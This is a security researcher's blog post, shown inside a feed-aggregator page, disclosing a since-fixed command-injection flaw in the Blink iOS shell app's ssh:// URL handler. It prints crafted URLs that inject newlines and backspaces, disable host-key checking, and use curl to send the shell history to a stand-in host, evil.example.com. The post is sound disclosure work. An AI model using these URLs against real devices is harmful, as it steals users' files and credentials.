惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Cisco Talos Blog
Cisco Talos Blog
阮一峰的网络日志
阮一峰的网络日志
云风的 BLOG
云风的 BLOG
D
Docker
Vercel News
Vercel News
IT之家
IT之家
Recent Announcements
Recent Announcements
Last Week in AI
Last Week in AI
V
Visual Studio Blog
Engineering at Meta
Engineering at Meta
腾讯CDC
Google DeepMind News
Google DeepMind News
I
InfoQ
博客园 - 三生石上(FineUI控件)
Apple Machine Learning Research
Apple Machine Learning Research
The GitHub Blog
The GitHub Blog
博客园 - Franky
The Cloudflare Blog
A
About on SuperTechFans
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
T
Tenable Blog
P
Proofpoint News Feed
Recorded Future
Recorded Future
Security Latest
Security Latest
H
Hackread – Cybersecurity News, Data Breaches, AI and More
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
博客园 - 聂微东
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Google Online Security Blog
Google Online Security Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Simon Willison's Weblog
Simon Willison's Weblog
The Last Watchdog
The Last Watchdog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
N
News and Events Feed by Topic
TaoSecurity Blog
TaoSecurity Blog
U
Unit 42
The Hacker News
The Hacker News
Martin Fowler
Martin Fowler
T
Threat Research - Cisco Blogs
NISL@THU
NISL@THU
F
Full Disclosure
M
MIT News - Artificial intelligence
人人都是产品经理
人人都是产品经理
Hugging Face - Blog
Hugging Face - Blog
V
V2EX
Project Zero
Project Zero

dgl.cx

SSH port knocking with OpenBSD 7.9 SSH port knocking with OpenBSD 7.9 Bash a newline: Exploiting SSH via ProxyCommand, again (CVE-2025-61984) Switchable dark mode with 5 lines of JavaScript Images over DNS CVE-2025-48384: Breaking Git with a carriage return and cloning RCE Can your terminal do emojis? How big? Using HAProxy to protect me from scrapers Déjà vu: Ghostly CVEs in my terminal title Restrict sftp with Linux user namespaces ""?! ANSI Terminal security in 2023 and finding 10 CVEs NAT-Again: IRC NAT helper flaws ip.wtf and showing you your actual HTTP request
Blink and you'll miss it — a URL handler surprise
2025-06-18 · via dgl.cx

Blink is a mobile shell for iOS and iPadOS. It takes a different approach from some tools and isn't just focused on being an SSH client; you can run a few commands locally. Surprisingly (or maybe not, if you're a regular reader...) this ability to run local commands results in some special abilities if the input becomes attacker controlled.

How can the input become attacker controlled? Well, one way is through a reply escape sequence, as my previous terminal research covered.

However, that's not the problem here. Underneath Blink uses hterm as its terminal emulator, which is very well written. Instead this time the vector is via URL handlers.

The intended flow is opening a ssh URL like:

ssh://user@ssh.example.com

Will result in an iOS pop-up asking Open in "Blink"? (in most cases). Followed by Blink pre-populating the command:

Screenshot of an iOS web browser UI with a popup dialog asking 'Open in Blink?'. Screenshot of the Blink app on iOS with 'ssh user@ssh.example.com' typed into the command prompt, but not yet run.

Unfortunately Blink accepted nearly any character as part of the ssh URL hostname or username. Then rather than executing that as a command it injects the characters prefixed by "ssh " into the terminal input buffer. The intention here was to let the user confirm by pressing "return". However because we can inject any character we can add a "\n" and it will behave as if the user pressed return.

ssh://user@termtest.dgl.cx%0A

If this is connecting to a new server it will ask for the user to confirm the key. You might think you can add "Y%0A" to end of the URL to accept it, but due to how buffering works in the Blink environment it's not possible to simply do that. However, SSH has a config option to not check host keys which we can pass via the command line (-o 'StrictHostKeyChecking no'). This can be encoded in the URL we pass to Blink without a problem:

ssh://user@-o%20%27StrictHostKeyChecking%20no%27%20termtest.dgl.cx%0A

As mentioned, Blink is capable of executing some commands locally. However, it doesn't have a fully featured shell, so you can't simply chain commands with a semicolon (;). It is possible however to inject other control characters including ^C which cancels the typed line or ^H (backspace) which just deletes the typed characters.

Therefore we can do things like make a URL that silently copies some files off the phone, then appears to just run the valid SSH command.

In most cases iOS will present a warning dialog that shows you're opening "Blink", so it is hard to totally trick a user into going to an SSH URL, but if the user expects to go to a URL which will open Blink (ssh://, blinkshell:// or code://), it's possible to send them anywhere else or do something altogether surprising.

If the user has stored any credentials in the filesystem (e.g. copied an SSH key from another machine) it may also be possible to silently steal those. (This isn't the default -- by default in Blink the SSH keys are stored securely and can't be simply copied out of the filesystem.)

As an example the following URL will use curl to send the .blink/history.txt (the shell history) somewhere, which may have hosts and usernames in it.

ssh://x%08%08%08%08%08curl%20-sd%20@.blink%2fhistory.txt%20evil.example.com%0D

We can also do nearly anything curl can, so to demonstrate that works, here's a link which will curl parrot.live, if you haven't (yet) updated Blink.

[Curl displaying ASCII art on both an iPhone and an iPad.]

One way to deliver this is as a QR code. The camera app pops up an "Open in Blink" callout, however if you use "Scan Code" in Control Centre then iOS does not prompt (it does in some cases, e.g. for apps launched due to handling http URLs, but not for app URL schemes).

A large QR code, which will open Blink Screenshot of the Camera app on iOS with a QR code and 'Open in Blink' displayed

Here's a video of me scanning that QR code, using Control Centre without getting asked whether I want to Open in "Blink"?

(No sound, just me connecting to my terminal tester tool without having to confirm or being prompted to accept the key.)

It's interesting (but not particularly serious) that the "Scan Code" flow can (aside from http URLs which get one "Always Allow" prompt) bypass the confirmation of which app to open in.

Abuse of URL schemes on macOS and iOS isn't new. There have been various changes to when iOS prompts for opening URLs over the years, some of this was covered back in 2014 in Guillaume Ross's talk "iOS URL Schemes: omg://" at BSides Las Vegas. There was also Mikko Kenttälä and Kasper Kyllönen's talk "Less than Fantastic Features in Terminals..." at Disobey 2017 which covered a way to cause a kernel panic via URL handlers on macOS.

Thanks to Carlos Cabanero this is now fixed, make sure to update Blink (to the latest app store release, v18.3.1 build 1006) or be (even more) careful what links you click or QR codes you scan, particularly with the "Scan Code" flow.

18th June 2025